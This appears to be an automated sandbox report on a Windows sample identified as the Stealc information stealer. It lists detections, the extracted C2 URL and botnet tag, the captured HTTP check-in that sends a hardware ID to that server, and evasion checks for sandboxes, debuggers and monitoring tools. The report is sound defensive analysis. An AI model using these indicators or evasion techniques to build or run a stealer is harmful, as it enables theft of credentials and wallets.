Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541419
MD5:	f8499202b78a41093fc86e4ee8be2d0b
SHA1:	56066a06e2ae405ad5e7dc5be7f37283aa742fa0
SHA256:	e81eb5bcb9497a84f1f496cf0af37c234f8e80aaf0bb179e153005592ef67321
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 4788 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F8499202B78A41093FC86E4EE8BE2D0B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2089690608.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4788	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4788	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T20:20:04.670212+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.400000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0040C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00418EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00414570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F68A FindFirstFileA,	0_2_0040F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 42 37 38 43 33 45 34 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="hwid"D57B78C3E4104081907672------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="build"doma------BFHDHJKKJDHJJJJKEGHI--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00404880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 42 37 38 43 33 45 34 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="hwid"D57B78C3E4104081907672------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="build"doma------BFHDHJKKJDHJJJJKEGHI--

Source: file.exe, 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/?
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpb

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3	0_2_0084C8B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027	0_2_006F7027
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EA0AA	0_2_006EA0AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B3889	0_2_007B3889
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CF962	0_2_007CF962
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CC1ED	0_2_007CC1ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D49D5	0_2_007D49D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007DA1B9	0_2_007DA1B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C8B69	0_2_007C8B69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007DB399	0_2_007DB399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D14BA	0_2_007D14BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00734493	0_2_00734493
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00765D1E	0_2_00765D1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D7E76	0_2_007D7E76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00735656	0_2_00735656

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004045C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nxusumaz ZLIB complexity 0.9947304242810066

Source: file.exe, 00000000.00000003.2089690608.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\WXVFZ6PQ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1865216 > 1048576

Source: file.exe

Static PE information: Raw size of nxusumaz is bigger than: 0x100000 < 0x1a1400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nxusumaz:EW;hgxnhwve:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nxusumaz:EW;hgxnhwve:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cac0d should be: 0x1cd0cb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nxusumaz
Source: file.exe	Static PE information: section name: hgxnhwve
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C085 push edx; mov dword ptr [esp], ebp	0_2_0084C096
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C085 push ebp; mov dword ptr [esp], edx	0_2_0084C0AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C085 push ebx; mov dword ptr [esp], esi	0_2_0084C13F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088F089 push 0FF36103h; mov dword ptr [esp], ecx	0_2_0088F0B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00805889 push ebp; mov dword ptr [esp], 3DFE3876h	0_2_00805910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00805889 push 645F3D45h; mov dword ptr [esp], edi	0_2_00805936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00805889 push 47B289C1h; mov dword ptr [esp], edi	0_2_0080595C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C2899 push edx; mov dword ptr [esp], eax	0_2_008C28BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3 push edi; mov dword ptr [esp], ebx	0_2_0084C8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3 push 52F94AAAh; mov dword ptr [esp], esi	0_2_0084C946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3 push ecx; mov dword ptr [esp], eax	0_2_0084C976
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3 push eax; mov dword ptr [esp], ecx	0_2_0084C9B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C8B3 push 49990CA0h; mov dword ptr [esp], esp	0_2_0084C9EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push edx; mov dword ptr [esp], eax	0_2_006F7031
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push ebp; mov dword ptr [esp], eax	0_2_006F7045
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push esi; mov dword ptr [esp], ebx	0_2_006F70A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push ebx; mov dword ptr [esp], edi	0_2_006F70A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push edi; mov dword ptr [esp], edx	0_2_006F70EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push esi; mov dword ptr [esp], edx	0_2_006F70FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push 0CF5AE6Ch; mov dword ptr [esp], ecx	0_2_006F715A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push ebp; mov dword ptr [esp], 00000000h	0_2_006F715E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push 1E3B52E4h; mov dword ptr [esp], eax	0_2_006F71B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push 66E3ABCFh; mov dword ptr [esp], eax	0_2_006F7210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7027 push 3B6634EBh; mov dword ptr [esp], esi	0_2_006F7264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085F8DD push 11BE9061h; mov dword ptr [esp], ecx	0_2_0085F90B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008510E5 push 25C5E6ABh; mov dword ptr [esp], ecx	0_2_008510A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008510E5 push 3BE59884h; mov dword ptr [esp], edx	0_2_008510B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008050F2 push edx; mov dword ptr [esp], ebp	0_2_00805136
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008050F2 push 6FFB5A8Ch; mov dword ptr [esp], eax	0_2_00805156
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008050F2 push 168A9179h; mov dword ptr [esp], edi	0_2_00805188
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008050F2 push 59A1F4F3h; mov dword ptr [esp], ebp	0_2_008051C8

Source: file.exe

Static PE information: section name: nxusumaz entropy: 7.954159005583094

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13679

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1D68 second address: 7E1D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0DD3 second address: 7E0DDB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0DDB second address: 7E0DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0EE8 second address: 7E0EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1176 second address: 7E117C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E117C second address: 7E119A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007FECB125BFD5h 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E148B second address: 7E1494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E15FE second address: 7E160A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FECB125BFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E44A4 second address: 7E44A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
